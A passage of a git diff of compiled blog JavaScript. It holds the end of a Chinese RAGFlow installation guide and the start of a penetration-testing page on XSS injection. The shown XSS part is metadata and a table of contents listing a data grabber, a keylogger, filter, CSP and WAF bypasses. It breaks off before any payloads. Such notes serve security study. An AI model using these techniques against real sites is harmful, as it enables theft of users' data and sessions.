",(0,i.jsx)(e.strong,{children:"\u6ce8\u610f\u4e8b\u9879"}),"\uff1a\u5982\u679c\u4f60\u5bf9GPU\u6709\u9700\u6c42\uff0c\u90a3\u4e48\u5982\u679c\u4f60\u5728\u865a\u62df\u673alinux\u4e2d\u5b89\u88c5\u7684\uff0c\u9700\u8981\u5bf9\u663e\u5361\u76f4\u901a\uff08\u5176\u4e2d windows \u73af\u5883\u4e0b\u63a8\u8350 \u91c7\u7528docker \u5b89\u88c5\uff0c",(0,i.jsx)(e.code,{children:"vmware workstation "}),"\u662f\u4e0d\u652f\u6301\u76f4\u901a\u7684\u3002\uff09"]}),"\n",(0,i.jsx)(e.h3,{id:"12-ragflow-\u662f\u4ec0\u4e48",children:"1.2 RAGFlow \u662f\u4ec0\u4e48\uff1f"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:"https://ragflow.io/",children:"RAGFlow"})," \u662f\u4e00\u6b3e\u57fa\u4e8e\u6df1\u5ea6\u6587\u6863\u7406\u89e3\u6784\u5efa\u7684\u5f00\u6e90 RAG\uff08Retrieval-Augmented Generation\uff09\u5f15\u64ce\u3002RAGFlow \u53ef\u4ee5\u4e3a\u5404\u79cd\u89c4\u6a21\u7684\u4f01\u4e1a\u53ca\u4e2a\u4eba\u63d0\u4f9b\u4e00\u5957\u7cbe\u7b80\u7684 RAG \u5de5\u4f5c\u6d41\u7a0b\uff0c\u7ed3\u5408\u5927\u8bed\u8a00\u6a21\u578b\uff08LLM\uff09\u9488\u5bf9\u7528\u6237\u5404\u7c7b\u4e0d\u540c\u7684\u590d\u6742\u683c\u5f0f\u6570\u636e\u63d0\u4f9b\u53ef\u9760\u7684\u95ee\u7b54\u4ee5\u53ca\u6709\u7406\u6709\u636e\u7684\u5f15\u7528\u3002"]}),"\n",(0,i.jsxs)(e.h3,{id:"13-\u5b89\u88c5\u524d\u7684\u51c6\u5907",children:["1.3 ",(0,i.jsx)(e.strong,{children:"\u5b89\u88c5\u524d\u7684\u51c6\u5907"})]}),"\n",(0,i.jsx)(e.h4,{id:"131-windows",children:"1.3.1 Windows"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u8f6f\u4ef6\u5b89\u88c5"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:"https://docs.docker.com/desktop/setup/install/windows-install/#system-requirements",children:(0,i.jsx)(e.strong,{children:"DOCKER"})}),"\uff1a\u5fc5\u987b\u5b89\u88c5"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:"https://blog.csdn.net/qq_44703886/article/details/112859392",children:(0,i.jsx)(e.strong,{children:"NVIDIA"})}),"\uff1a\u63a8\u8350\u5b89\u88c5\uff0c\u5982\u679c\u4f60\u7684\u663e\u5361\u7b97\u529b\u6bd4\u8f83\u597d\uff0c\u90a3\u4e48\u5f3a\u70c8\u63a8\u8350\u5b89\u5168\u3002"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:"https://ollama.com/download",children:"OLLAMA"}),"\uff1a\u5148\u5b89\u88c5\u663e\u5361\u9a71\u52a8\u540e\uff0c\u518d\u5b89\u88c5ollama"]}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u7cfb\u7edf\u8981\u6c42"}),"\uff1a\u5982\u679c\u4f60\u6709\u663e\u5361\u652f\u6301\uff0c\u90a3\u4e48\u5185\u5b58\u548cCPU\u53ef\u9002\u5f53\u964d\u4f4e"]}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"CPU >= 4 \u6838"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"RAM >= 16 GB"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"Disk >= 50 GB"}),"\n"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(e.h4,{id:"132-linux",children:"1.3.2 Linux"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u8f6f\u4ef6\u5b89\u88c5"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"k3s / docker / k8s"})," : \u9009\u62e9\u4efb\u610f\u4e00\u79cd \u5b89\u88c5"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:"https://www.nvidia.cn/geforce/drivers/",children:(0,i.jsx)(e.strong,{children:"NVIDIA\u663e\u5361\u9a71\u52a8"})}),"\uff1a\u9009\u62e9\u4f60\u5bf9\u5e94\u663e\u5361\u9a71\u52a8"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:"https://ollama.com/download",children:"OLLAMA"}),"\uff1a\u5148\u5b89\u88c5\u663e\u5361\u9a71\u52a8\u540e\uff0c\u518d\u5b89\u88c5ollama"]}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u7cfb\u7edf\u8981\u6c42"}),"\uff1a\u5982\u679c\u4f60\u6709\u663e\u5361\u652f\u6301\uff0c\u90a3\u4e48\u5185\u5b58\u548cCPU\u53ef\u9002\u5f53\u964d\u4f4e"]}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"CPU >= 4 \u6838"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"RAM >= 16 GB"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"Disk >= 50 GB"}),"\n"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(e.h4,{id:"133-macos",children:"1.3.3 Macos"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.del,{children:"\u7531\u4e8em\u7cfb\u5217\u7684\u82af\u7247\uff0c\u4e0d\u652f\u6301N\u5361\u6240\u4ee5\u76f8\u5bf9\u5e94\u7684\u53ef\u80fd\u8981\u6c42\u8f83\u9ad8"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u8f6f\u4ef6\u5b89\u88c5"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:(0,i.jsx)(e.a,{href:"https://docs.docker.com/desktop/setup/install/mac-install/",children:"DOCKER"})})," : \u5fc5\u987b\u5b89\u88c5"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:"https://ollama.com/download",children:"OLLAMA"}),"\uff1a\u5148\u5b89\u88c5\u663e\u5361\u9a71\u52a8\u540e\uff0c\u518d\u5b89\u88c5ollama"]}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u7cfb\u7edf\u8981\u6c42"}),"\uff1a\u5982"]}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"CPU >= 4 \u6838"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"RAM >= 16 GB"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"Disk >= 50 GB"}),"\n"]}),"\n"]}),"\n"]}),"\n"]})]})}function x(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(o,{...n})}):o(n)}}}]); \ No newline at end of file diff --git a/assets/js/fbdacc97.aadfb330.js b/assets/js/fbdacc97.aadfb330.js new file mode 100644 index 0000000..4d6afec --- /dev/null +++ b/assets/js/fbdacc97.aadfb330.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3620],{22767:(e,n,s)=>{s.d(n,{A:()=>r});const r=s.p+"assets/files/jsonp_endpoint-a829524ec0c745cc8b4c1438bc37ac22.txt"},23377:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>c,contentTitle:()=>t,default:()=>o,frontMatter:()=>a,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/README","title":"XSS\u6ce8\u5165","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"BigQuery","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/BigQuery"},"next":{"title":"Angular \u548c AngularJS \u4e2d\u7684 XSS","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSInAngular"}}');var l=s(74848),i=s(28453);const a={},t="XSS\u6ce8\u5165",c={},d=[{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2},{value:"\u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f",id:"\u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f",level:2},{value:"\u5229\u7528\u4ee3\u7801\u6216 POC",id:"\u5229\u7528\u4ee3\u7801\u6216-poc",level:2},{value:"XSS \u6570\u636e\u91c7\u96c6\u5668",id:"xss-\u6570\u636e\u91c7\u96c6\u5668",level:3},{value:"\u7d27\u8eab\u80f8\u8863",id:"\u7d27\u8eab\u80f8\u8863",level:3},{value:"\u754c\u9762\u4f2a\u88c5",id:"\u754c\u9762\u4f2a\u88c5",level:3},{value:"Javascript \u952e\u76d8\u8bb0\u5f55\u7a0b\u5e8f",id:"javascript-\u952e\u76d8\u8bb0\u5f55\u7a0b\u5e8f",level:3},{value:"\u5176\u4ed6\u65b9\u5f0f",id:"\u5176\u4ed6\u65b9\u5f0f",level:3},{value:"\u8bc6\u522b XSS \u7aef\u70b9",id:"\u8bc6\u522b-xss-\u7aef\u70b9",level:2},{value:"\u5de5\u5177",id:"\u5de5\u5177",level:3},{value:"HTML/\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684 XSS",id:"html\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684-xss",level:2},{value:"\u666e\u901a\u6709\u6548\u8f7d\u8377",id:"\u666e\u901a\u6709\u6548\u8f7d\u8377",level:3},{value:"\u4f7f\u7528 HTML5 \u6807\u8bb0\u7684 XSS",id:"\u4f7f\u7528-html5-\u6807\u8bb0\u7684-xss",level:3},{value:"\u4f7f\u7528\u8fdc\u7a0b JS \u7684 XSS",id:"\u4f7f\u7528\u8fdc\u7a0b-js-\u7684-xss",level:3},{value:"\u9690\u85cf\u8f93\u5165\u4e2d\u7684 XSS",id:"\u9690\u85cf\u8f93\u5165\u4e2d\u7684-xss",level:3},{value:"\u6709\u6548\u8f7d\u8377\u53cd\u6620\u4e3a\u5927\u5199\u65f6\u7684 XSS",id:"\u6709\u6548\u8f7d\u8377\u53cd\u6620\u4e3a\u5927\u5199\u65f6\u7684-xss",level:3},{value:"\u57fa\u4e8e DOM \u7684 XSS",id:"\u57fa\u4e8e-dom-\u7684-xss",level:3},{value:"JS \u4e0a\u4e0b\u6587\u4e2d\u7684 XSS",id:"js-\u4e0a\u4e0b\u6587\u4e2d\u7684-xss",level:3},{value:"\u5305\u88c5\u5668\u4e2d\u7684 XSS javascript \u548c\u6570\u636e URI",id:"\u5305\u88c5\u5668\u4e2d\u7684-xss-javascript-\u548c\u6570\u636e-uri",level:2},{value:"\u6587\u4ef6\u4e2d\u7684 XSS",id:"\u6587\u4ef6\u4e2d\u7684-xss",level:2},{value:"XML \u4e2d\u7684 XSS",id:"xml-\u4e2d\u7684-xss",level:3},{value:"XSS \u548c SVG",id:"xss-\u548c-svg",level:3},{value:"SVG \u4e2d\u7684 XSS\uff08\u77ed\uff09",id:"svg-\u4e2d\u7684-xss\u77ed",level:3},{value:"\u964d\u4ef7\u4e2d\u7684 XSS",id:"\u964d\u4ef7\u4e2d\u7684-xss",level:3},{value:"SWF \u95ea\u5b58\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684 XSS",id:"swf-\u95ea\u5b58\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684-xss",level:3},{value:"SWF \u95ea\u5b58\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684 XSS",id:"swf-\u95ea\u5b58\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684-xss-1",level:3},{value:"CSS \u4e2d\u7684 XSS",id:"css-\u4e2d\u7684-xss",level:3},{value:"PostMessage \u4e2d\u7684 XSS",id:"postmessage-\u4e2d\u7684-xss",level:2},{value:"\u76f2 XSS",id:"\u76f2-xss",level:2},{value:"XSS \u730e\u4eba",id:"xss-\u730e\u4eba",level:3},{value:"\u5176\u4ed6\u76f2 XSS \u5de5\u5177",id:"\u5176\u4ed6\u76f2-xss-\u5de5\u5177",level:3},{value:"\u76f2 XSS \u7aef\u70b9",id:"\u76f2-xss-\u7aef\u70b9",level:3},{value:"\u5c0f\u8d34\u58eb",id:"\u5c0f\u8d34\u58eb",level:3},{value:"\u7a81\u53d8 XSS",id:"\u7a81\u53d8-xss",level:2},{value:"Polyglot XSS",id:"polyglot-xss",level:2},{value:"\u8fc7\u6ee4\u5668\u65c1\u8def\u548c\u5947\u5f02\u6709\u6548\u8f7d\u8377",id:"\u8fc7\u6ee4\u5668\u65c1\u8def\u548c\u5947\u5f02\u6709\u6548\u8f7d\u8377",level:2},{value:"\u65c1\u8def\u533a\u5206\u5927\u5c0f\u5199",id:"\u65c1\u8def\u533a\u5206\u5927\u5c0f\u5199",level:3},{value:"\u7ed5\u8fc7\u6807\u7b7e\u9ed1\u540d\u5355",id:"\u7ed5\u8fc7\u6807\u7b7e\u9ed1\u540d\u5355",level:3},{value:"\u901a\u8fc7\u4ee3\u7801\u8bc4\u4f30\u7ed5\u8fc7\u5355\u8bcd\u9ed1\u540d\u5355",id:"\u901a\u8fc7\u4ee3\u7801\u8bc4\u4f30\u7ed5\u8fc7\u5355\u8bcd\u9ed1\u540d\u5355",level:3},{value:"\u7ed5\u8fc7\u4e0d\u5b8c\u6574\u7684 html \u6807\u8bb0",id:"\u7ed5\u8fc7\u4e0d\u5b8c\u6574\u7684-html-\u6807\u8bb0",level:3},{value:"\u8df3\u8fc7\u5b57\u7b26\u4e32\u7684\u5f15\u53f7",id:"\u8df3\u8fc7\u5b57\u7b26\u4e32\u7684\u5f15\u53f7",level:3},{value:"\u7ed5\u8fc7\u811a\u672c\u6807\u8bb0\u4e2d\u7684\u5f15\u53f7",id:"\u7ed5\u8fc7\u811a\u672c\u6807\u8bb0\u4e2d\u7684\u5f15\u53f7",level:3},{value:"\u5728 mousedown \u4e8b\u4ef6\u4e2d\u7ed5\u8fc7\u5f15\u53f7",id:"\u5728-mousedown-\u4e8b\u4ef6\u4e2d\u7ed5\u8fc7\u5f15\u53f7",level:3},{value:"\u65c1\u8def\u70b9\u8fc7\u6ee4\u5668",id:"\u65c1\u8def\u70b9\u8fc7\u6ee4\u5668",level:3},{value:"\u5b57\u7b26\u4e32\u4e0d\u4f7f\u7528\u62ec\u53f7",id:"\u5b57\u7b26\u4e32\u4e0d\u4f7f\u7528\u62ec\u53f7",level:3},{value:"\u7ed5\u8fc7\u62ec\u53f7\u548c\u5206\u53f7",id:"\u7ed5\u8fc7\u62ec\u53f7\u548c\u5206\u53f7",level:3},{value:"\u7ed5\u8fc7 onxxxx= \u9ed1\u540d\u5355",id:"\u7ed5\u8fc7-onxxxx-\u9ed1\u540d\u5355",level:3},{value:"\u65c1\u8def\u7a7a\u95f4\u8fc7\u6ee4\u5668",id:"\u65c1\u8def\u7a7a\u95f4\u8fc7\u6ee4\u5668",level:3},{value:"\u7ed5\u8fc7\u7535\u5b50\u90ae\u4ef6\u7b5b\u9009\u5668",id:"\u7ed5\u8fc7\u7535\u5b50\u90ae\u4ef6\u7b5b\u9009\u5668",level:3},{value:"\u7ed5\u8fc7\u6587\u6863\u9ed1\u540d\u5355",id:"\u7ed5\u8fc7\u6587\u6863\u9ed1\u540d\u5355",level:3},{value:"\u7ed5\u8fc7 document.cookie \u9ed1\u540d\u5355",id:"\u7ed5\u8fc7-documentcookie-\u9ed1\u540d\u5355",level:3},{value:"\u7ed5\u8fc7\u5728\u5b57\u7b26\u4e32\u4e2d\u4f7f\u7528 javascript",id:"\u7ed5\u8fc7\u5728\u5b57\u7b26\u4e32\u4e2d\u4f7f\u7528-javascript",level:3},{value:"\u7ed5\u8fc7\u4f7f\u7528\u5176\u4ed6\u65b9\u5f0f\u91cd\u5b9a\u5411",id:"\u7ed5\u8fc7\u4f7f\u7528\u5176\u4ed6\u65b9\u5f0f\u91cd\u5b9a\u5411",level:3},{value:"\u7ed5\u8fc7\u4f7f\u7528\u5176\u4ed6\u65b9\u5f0f\u6267\u884c\u8b66\u62a5",id:"\u7ed5\u8fc7\u4f7f\u7528\u5176\u4ed6\u65b9\u5f0f\u6267\u884c\u8b66\u62a5",level:3},{value:"\u4e0d\u4f7f\u7528\u4efb\u4f55\u5185\u5bb9\u7ed5\u8fc7\u201c>\u201d",id:"\u4e0d\u4f7f\u7528\u4efb\u4f55\u5185\u5bb9\u7ed5\u8fc7",level:3},{value:"\u4f7f\u7528\uff1c\u548c\uff1e\u7ed5\u8fc7\u201c\uff1c gt r \uff1d\u201d251\u201c/>\u201d",id:"\u4f7f\u7528\u548c\u7ed5\u8fc7-gt-r-251",level:3},{value:"\u4f7f\u7528\u5176\u4ed6\u5b57\u7b26\u8df3\u8fc7\u201c\uff1b\u201d",id:"\u4f7f\u7528\u5176\u4ed6\u5b57\u7b26\u8df3\u8fc7",level:3},{value:"\u7ed5\u8fc7\u4f7f\u7528 HTML \u7f16\u7801",id:"\u7ed5\u8fc7\u4f7f\u7528-html-\u7f16\u7801",level:3},{value:"\u4f7f\u7528\u7247\u5047\u540d\u7ed5\u8fc7",id:"\u4f7f\u7528\u7247\u5047\u540d\u7ed5\u8fc7",level:3},{value:"\u4f7f\u7528\u6954\u5f62\u6587\u5b57\u7ed5\u8fc7",id:"\u4f7f\u7528\u6954\u5f62\u6587\u5b57\u7ed5\u8fc7",level:3},{value:"\u4f7f\u7528\u6717\u5854\u62c9\u7684\u65c1\u8def",id:"\u4f7f\u7528\u6717\u5854\u62c9\u7684\u65c1\u8def",level:3},{value:"\u4f7f\u7528 ECMAScript6 \u7ed5\u8fc7",id:"\u4f7f\u7528-ecmascript6-\u7ed5\u8fc7",level:3},{value:"\u4f7f\u7528\u516b\u8fdb\u5236\u7f16\u7801\u7ed5\u8fc7",id:"\u4f7f\u7528\u516b\u8fdb\u5236\u7f16\u7801\u7ed5\u8fc7",level:3},{value:"\u7ed5\u8fc7\u4f7f\u7528 Unicode",id:"\u7ed5\u8fc7\u4f7f\u7528-unicode",level:3},{value:"\u4f7f\u7528 UTF-7 \u65c1\u8def",id:"\u4f7f\u7528-utf-7-\u65c1\u8def",level:3},{value:"\u7ed5\u8fc7\u4f7f\u7528 UTF-8",id:"\u7ed5\u8fc7\u4f7f\u7528-utf-8",level:3},{value:"\u4f7f\u7528 UTF-16be \u65c1\u8def",id:"\u4f7f\u7528-utf-16be-\u65c1\u8def",level:3},{value:"\u4f7f\u7528 UTF-32 \u65c1\u8def",id:"\u4f7f\u7528-utf-32-\u65c1\u8def",level:3},{value:"\u4f7f\u7528 BOM \u7ed5\u8fc7",id:"\u4f7f\u7528-bom-\u7ed5\u8fc7",level:3},{value:"\u7ed5\u8fc7\u4f7f\u7528\u5947\u602a\u7684\u7f16\u7801\u6216\u539f\u751f\u89e3\u91ca",id:"\u7ed5\u8fc7\u4f7f\u7528\u5947\u602a\u7684\u7f16\u7801\u6216\u539f\u751f\u89e3\u91ca",level:3},{value:"\u4f7f\u7528 jsfuck \u7ed5\u8fc7",id:"\u4f7f\u7528-jsfuck-\u7ed5\u8fc7",level:3},{value:"CSP \u65c1\u8def",id:"csp-\u65c1\u8def",level:2},{value:"\u4f7f\u7528\u8c37\u6b4c\u7684 JSONP \u7ed5\u8fc7 CSP\uff08\u901a\u8fc7@ \u963f\u666e\u8d39\u8d39\u5c14 27\u7684\u6280\u5de7\uff09",id:"\u4f7f\u7528\u8c37\u6b4c\u7684-jsonp-\u7ed5\u8fc7-csp\u901a\u8fc7-\u963f\u666e\u8d39\u8d39\u5c14-27\u7684\u6280\u5de7",level:3},{value:"\u7ed5\u8fc7 CSPlab.wallarm.com \u7f51\u7ad9",id:"\u7ed5\u8fc7-csplabwallarmcom-\u7f51\u7ad9",level:3},{value:"\u7ed5\u8fc7 CSPRhynorater",id:"\u7ed5\u8fc7-csprhynorater",level:3},{value:"\u7ed5\u8fc7 CSP@akita_zen",id:"\u7ed5\u8fc7-cspakita_zen",level:3},{value:"\u7ed5\u8fc7 CSP@404death",id:"\u7ed5\u8fc7-csp404death",level:3},{value:"\u901a\u7528 WAF \u65c1\u8def",id:"\u901a\u7528-waf-\u65c1\u8def",level:2},{value:"Cloudflare XSS \u7ed5\u8fc7@ \u6ce2\u4e39 \xb7 \u79d1\u5c14\u65e5\u6069\u65af\u57fa",id:"cloudflare-xss-\u7ed5\u8fc7-\u6ce2\u4e39--\u79d1\u5c14\u65e5\u6069\u65af\u57fa",level:3},{value:"2021 \u5e74 1 \u6708 25 \u65e5",id:"2021-\u5e74-1-\u6708-25-\u65e5",level:4},{value:"2020 \u5e74 4 \u6708 21 \u65e5",id:"2020-\u5e74-4-\u6708-21-\u65e5",level:4},{value:"2019 \u5e74 8 \u6708 22 \u65e5",id:"2019-\u5e74-8-\u6708-22-\u65e5",level:4},{value:"2019 \u5e74 6 \u6708 5 \u65e5",id:"2019-\u5e74-6-\u6708-5-\u65e5",level:4},{value:"2019 \u5e74 6 \u6708 3 \u65e5",id:"2019-\u5e74-6-\u6708-3-\u65e5",level:4},{value:"Cloudflare XSS \u65c1\u8def-2019 \u5e74 3 \u6708 22 \u65e5\uff08\u901a\u8fc7 @RakeshMane10\uff09",id:"cloudflare-xss-\u65c1\u8def-2019-\u5e74-3-\u6708-22-\u65e5\u901a\u8fc7-rakeshmane10",level:3},{value:"Cloudflare XSS \u65c1\u8def-2018 \u5e74 2 \u6708 27 \u65e5",id:"cloudflare-xss-\u65c1\u8def-2018-\u5e74-2-\u6708-27-\u65e5",level:3},{value:"Chrome \u5ba1\u8ba1\u5458-2018 \u5e74 8 \u6708 9 \u65e5",id:"chrome-\u5ba1\u8ba1\u5458-2018-\u5e74-8-\u6708-9-\u65e5",level:3},{value:"Incapsula WAF \u65c1\u8def\u901a\u8fc7@Alra3ees-2018 \u5e74 3 \u6708 8 \u65e5",id:"incapsula-waf-\u65c1\u8def\u901a\u8fc7alra3ees-2018-\u5e74-3-\u6708-8-\u65e5",level:3},{value:"Incapsula WAF \u65c1\u8def\u901a\u8fc7@c0d3G33k-2018 \u5e74 9 \u6708 11 \u65e5",id:"incapsula-waf-\u65c1\u8def\u901a\u8fc7c0d3g33k-2018-\u5e74-9-\u6708-11-\u65e5",level:3},{value:"Incapsula WAF \u65c1\u8def\u901a\u8fc7@daveysec-2019 \u5e74 5 \u6708 11 \u65e5",id:"incapsula-waf-\u65c1\u8def\u901a\u8fc7daveysec-2019-\u5e74-5-\u6708-11-\u65e5",level:3},{value:"Akamai WAF \u7ed5\u8fc7@zseano-2018 \u5e74 6 \u6708 18 \u65e5",id:"akamai-waf-\u7ed5\u8fc7zseano-2018-\u5e74-6-\u6708-18-\u65e5",level:3},{value:"Akamai WAF \u7ed5\u8fc7@s0md3v-2018 \u5e74 10 \u6708 28 \u65e5",id:"akamai-waf-\u7ed5\u8fc7s0md3v-2018-\u5e74-10-\u6708-28-\u65e5",level:3},{value:"WordFence WAF \u7ed5\u8fc7@ \u91ce\u86ee\u7684-2018 \u5e74 9 \u6708 12 \u65e5",id:"wordfence-waf-\u7ed5\u8fc7-\u91ce\u86ee\u7684-2018-\u5e74-9-\u6708-12-\u65e5",level:3},{value:"Fortiweb WAF \u65c1\u8def\u901a\u8fc7@rezaduty-2019 \u5e74 7 \u6708 9 \u65e5",id:"fortiweb-waf-\u65c1\u8def\u901a\u8fc7rezaduty-2019-\u5e74-7-\u6708-9-\u65e5",level:3},{value:"\u5b9e\u9a8c\u5ba4",id:"\u5b9e\u9a8c\u5ba4",level:2},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function h(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"xss\u6ce8\u5165",children:"XSS\u6ce8\u5165"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:31:55"})]})})]}),"\n",(0,l.jsx)(n.h1,{id:"\u8de8\u7ad9\u70b9\u811a\u672c",children:"\u8de8\u7ad9\u70b9\u811a\u672c"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"\u8de8\u7ad9\u70b9\u811a\u672c\uff08XSS\uff09\u662f\u4e00\u79cd\u8ba1\u7b97\u673a\u5b89\u5168\u6f0f\u6d1e\uff0c\u901a\u5e38\u5b58\u5728\u4e8e web \u5e94\u7528\u7a0b\u5e8f\u4e2d\u3002XSS \u4f7f\u653b\u51fb\u8005\u80fd\u591f\u5c06\u5ba2\u6237\u7aef\u811a\u672c\u6ce8\u5165\u5176\u4ed6\u7528\u6237\u67e5\u770b\u7684\u7f51\u9875\u3002"}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#cross-site-scripting",children:"\u8de8\u7ad9\u70b9\u811a\u672c"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#vulnerability-details",children:"\u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f"})}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#exploit-code-or-poc",children:"\u5229\u7528\u4ee3\u7801\u6216 POC"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#data-grabber-for-xss",children:"XSS \u6570\u636e\u91c7\u96c6\u5668"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#cors",children:"CORS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#ui-redressing",children:"\u754c\u9762\u4f2a\u88c5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#javascript-keylogger",children:"Javascript 